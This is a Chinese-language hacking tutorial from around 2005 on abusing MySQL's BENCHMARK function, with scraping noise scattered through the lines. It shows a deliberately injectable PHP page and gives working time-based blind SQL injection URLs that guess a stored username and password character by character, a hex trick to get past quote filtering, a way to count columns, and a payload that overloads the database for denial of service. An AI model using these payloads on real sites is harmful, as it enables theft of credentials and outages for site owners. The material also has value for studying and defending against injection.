MYSQL中BENCHMARK函数的利用
9 D# J8 g9 k- W! K本文作者:SuperHei0 ?! w7 X* Y) O+ z4 E
文章性质:原创
+ R" @$ b5 z |$ l( r发布日期:2005-01-02
/ x, H- o- g0 I2 D/ g* k/ o3 M% O完成日期:2004-07-09 ! I7 Y3 K; ^# U' x5 K- d
第一部
0 V; h! H. ]; f$ e" e# S
2 V3 {6 B6 o( y! f7 s- W利用时间推延进行注射---BENCHMARK函数在注射中的利用 5 @ e8 r# a5 r; \
, f$ {7 a4 K; m$ M+ X) K A一.前言/思路+ C: S' z2 _2 u
$ c' L. j* c! N4 }+ o 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
, C2 y: k7 Q& s W
" Y" G, E8 a' Y! G% i v 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。! K q2 X: X7 M8 E9 @$ M: `7 `
" W9 h1 i7 F1 Y1 W, A* c5 v
二.关于BENCHMARK函数
6 {/ W2 J9 W/ v% |7 e" g
6 l, x& _8 b8 u2 A 在MySQL参考手册里可以看到如下描叙:
! G' B- m' e. Y+ a( c
5 @4 R( C" v- u& w5 i+ P4 L( j+ z& v# w+ H9 G; D; Q. K/ p; ?
--------------------------------------------------------------------------------
$ r9 w# O* N! e- N! }5 q0 j6 x, b/ v% V
BENCHMARK(count,expr) * J& R0 m7 d% r) y# c6 i# a
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
( ` A8 q, I+ e1 F C: Mmysql> select BENCHMARK(1000000,encode("hello","goodbye")); * c0 @- K7 R& `- ?" `, v) f
+----------------------------------------------+ ; }9 g: e# l0 W
| BENCHMARK(1000000,encode("hello","goodbye")) | : y W! Y/ H3 ?
+----------------------------------------------+ - @ @. n" ?; [% l
| 0 |
! L7 c. f4 z! q! O& r- Q0 q% d. F+----------------------------------------------+
& g/ L5 A2 W* ~* a: E1 row in set (4.74 sec)
1 G' `- L1 v& X" D& [
- z8 \; \# G- o! q% g/ H: J0 p报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。" r3 U+ q( O2 g' C2 X$ m
A# r: B! G9 ^& `% S
: Y6 M$ J5 T V6 @ s; ]- ?/ t# b7 }
--------------------------------------------------------------------------------. p7 m( B+ m3 Y2 j
' Z0 @8 H4 \0 A1 l3 W
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
u& r: p9 s7 k& E: c
( y; A; x- Q5 W( L' ]mysql> select md5( 'test' ); % ^& Q& v8 f) F" S
+----------------------------------+
/ A3 C' I& N: r* t4 s0 w. U% t| md5( 'test' ) | 0 ^2 Q, d0 Q+ `
+----------------------------------+ . Q) t+ h) L, _% i* e5 U
| 098f6bcd4621d373cade4e832627b4f6 |
$ [+ ^# e9 u+ a+ f+ b4 l* _+----------------------------------+
; G, L' R* x( Y; h2 [1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
& [$ K: M& @; s+ F' s
6 A8 f _! W) P' D) {0 rmysql> select benchmark( 500000, md5( 'test' ) );
" u/ e' O: a* \8 c- v8 k6 {# K/ U+------------------------------------+
: R$ ^' g1 T/ e! k- ?/ T2 W' W! h| benchmark( 500000, md5( 'test' ) ) |
/ i& X7 {: Y) U( |- e; y: ]+------------------------------------+
% |, @, I3 D, n; n# ?7 P* S| 0 | 5 W% P7 m2 O/ F+ F
+------------------------------------+ 7 Y. n. m2 {9 @9 ?1 p9 T0 s0 a0 @& s
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
s3 V; Z6 r5 J' Y
2 L% U! _; ?% q+ E) [& A
% ^/ g1 n0 x+ j2 o 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
' J/ p9 p. |7 L2 a
3 a2 v9 ?$ b9 W! ?& K& x三.具体例子
2 h1 B- A3 I% j" T/ F. n6 {& H$ F. {& R" D( G, a2 a
首先我们看个简单的php代码: [8 M5 i% a: e1 d/ p
; `6 ?& `5 U1 v, D< ?php
3 A% X9 X$ u' J" C1 K8 a- }$servername = "localhost"; , ^+ X3 T. X) {; D# ^% y* ^
$dbusername = "root"; 0 H- \( `: \! c0 c6 |, K- Y
$dbpassword = ""; ( m% M( S3 `8 D4 v$ v- a9 k) k0 W. t
$dbname = "injection"; 5 r8 K; Z( G8 y6 [: n
) V2 k) F5 R( M0 r _; m
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
# x1 h; g. a. _* N6 b. Y S. Q' Q" ^5 I
$sql = "SELECT * FROM article WHERE articleid=$id"; # v% |2 k3 s& s. M
$result = mysql_db_query($dbname,$sql);
6 } D. l5 G& ]) z' b0 `) f( l$row = mysql_fetch_array($result); 8 }6 y( T- w8 w4 d
1 n- w; I: V* q, [
if (!$row) 1 l. }% `" d/ N8 i+ |+ L4 \% H
{ * K8 }8 r5 c1 `: }6 I# Q
exit;
4 ^ \5 q6 J5 D5 c; x; @1 V}
+ w6 B* s+ [1 d5 x; X?>; y1 D; x6 d: q
6 }9 W4 w4 T& J' o* u- _9 P; W
" Y% _& n" D( w; `+ J) ]9 V2 G 数据库injection结构和内容如下:3 J4 N) ~7 b, t3 W/ S/ w
6 a5 w; @5 O5 O+ a: x# 数据库 : `injection` ' U# c) O7 H5 ]5 ^4 f+ b
# ' v) T7 n/ v* e4 I; W- C
2 G7 m+ _" @" I4 \. Q# -------------------------------------------------------- ) X+ [3 S( X! S* M4 h
' N( T2 @6 \0 x c% E# , \8 [& R2 U3 @
# 表的结构 `article`
: C/ M, k* V( p) ^#
) ]( P3 y) x0 i: }6 c, c. q3 L+ ^* L: O' s, [
CREATE TABLE `article` (
. M$ H2 U0 a( n: d`articleid` int(11) NOT NULL auto_increment, * @* r5 \- ^/ b) K: r- m
`title` varchar(100) NOT NULL default '',
3 q4 G* I/ F8 `' b$ c`content` text NOT NULL,
+ u- n7 {! g5 Y7 TPRIMARY KEY (`articleid`)
0 d5 J# T6 `% D& Q) TYPE=MyISAM AUTO_INCREMENT=3 ;
7 h: {* h3 _, }, w0 T# Y( I
- m) i q7 _% G0 z* p# 1 I! w, j' n8 _! g: j, q
# 导出表中的数据 `article`
8 M" n" E& [, j; X#
: g2 z: K: M4 |: ~+ a/ U' j& U7 m% e
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
) f; }; B- R3 W0 A0 fINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
{8 a- u( i7 u! ~! |4 ^
, M( O" @ L7 ~7 P. q0 Z# -------------------------------------------------------- 8 `' b* p. c/ U
" m8 w/ ?, h e% X#
& S4 q5 ?- u+ ~& a N8 G# 表的结构 `user` 6 Q" s2 t; m) K
#
( x+ f/ [8 d6 n0 _, r( O- a1 z8 ]- o* x& ~/ f$ c( X) a; s
CREATE TABLE `user` (
/ k8 X, E2 y2 M`userid` int(11) NOT NULL auto_increment,
$ H8 n: @+ N9 x6 b2 r. f`username` varchar(20) NOT NULL default '',
' W/ g3 g0 I7 k* F) y" A6 Y2 u`password` varchar(20) NOT NULL default '', ( w5 j3 S, B* V1 q( t
PRIMARY KEY (`userid`)
) O ^6 b: d; ]" N$ f ^: W: z1 `) TYPE=MyISAM AUTO_INCREMENT=3 ;
) b: {! v3 J# l' o: l' x
- h6 {7 u0 o6 I% Q9 ]( ?" O#
, m8 O% R" }2 X1 ?0 e2 s2 L# 导出表中的数据 `user` $ E' ]) [8 B+ L( G- R! p% Y
#
. l @0 o) Q! v/ @& `' v1 P" p; D0 c- }* x) Z1 N% P0 x+ g
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
4 {. ~4 O: P% n% l EINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');. J0 H( m2 O5 Z, L4 n" p9 t$ h& f
' s- c7 }4 }" `! t& S; k) M" K' r) U$ @) H8 F# C& @8 ?
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
5 g% G$ K- S, S
. Z% M$ [2 \! R i4 o iid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
9 G4 V4 @1 }5 p, T- y! W 0 ^# l4 R. q; f k. V' _3 J" O- c
9 `* P7 _: o8 U4 C8 D" V" q7 C 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
$ k' J( d/ k3 ?
/ p/ B p, v$ g8 U) R% A9 Yhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*4 U# \) }& b2 z5 q, {' }9 f
# b& `5 y1 m& m( U3 S
0 [; [& _$ \7 \$ g
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 & F9 D$ `# f* B3 M4 Y
3 m1 B! j: I6 ?# J2 j1 `0 k
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
% W5 N0 s& G/ v8 V% a& f, k9 J0 @# D# g8 M/ A
第二部
& N" Q# I1 w4 y5 J7 U: B3 n; @6 B( J2 E
利用BENCHMARK函数进行ddos攻击
5 l2 F* n. @" }9 }; c t, f9 y! D+ @" j) Z9 o B5 K: H6 t) e
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:# e P" G& `7 \
3 g" O0 F( V4 k. V: ^0 U
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))% y) a$ o: T0 p: U5 N# G
$ X0 g6 ^# q$ ?% W5 }
/ I @* E; E9 U# |: @9 t, R
小结
0 a4 H1 C* c+ E' J, n4 z" K
! g8 S' z! m1 v& w0 A) ] 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。& w( ^# u0 R" X; A
, O+ S( h j, d+ X8 Q- u# Y
: ]& e' V- @* w8 @" u% }: \
|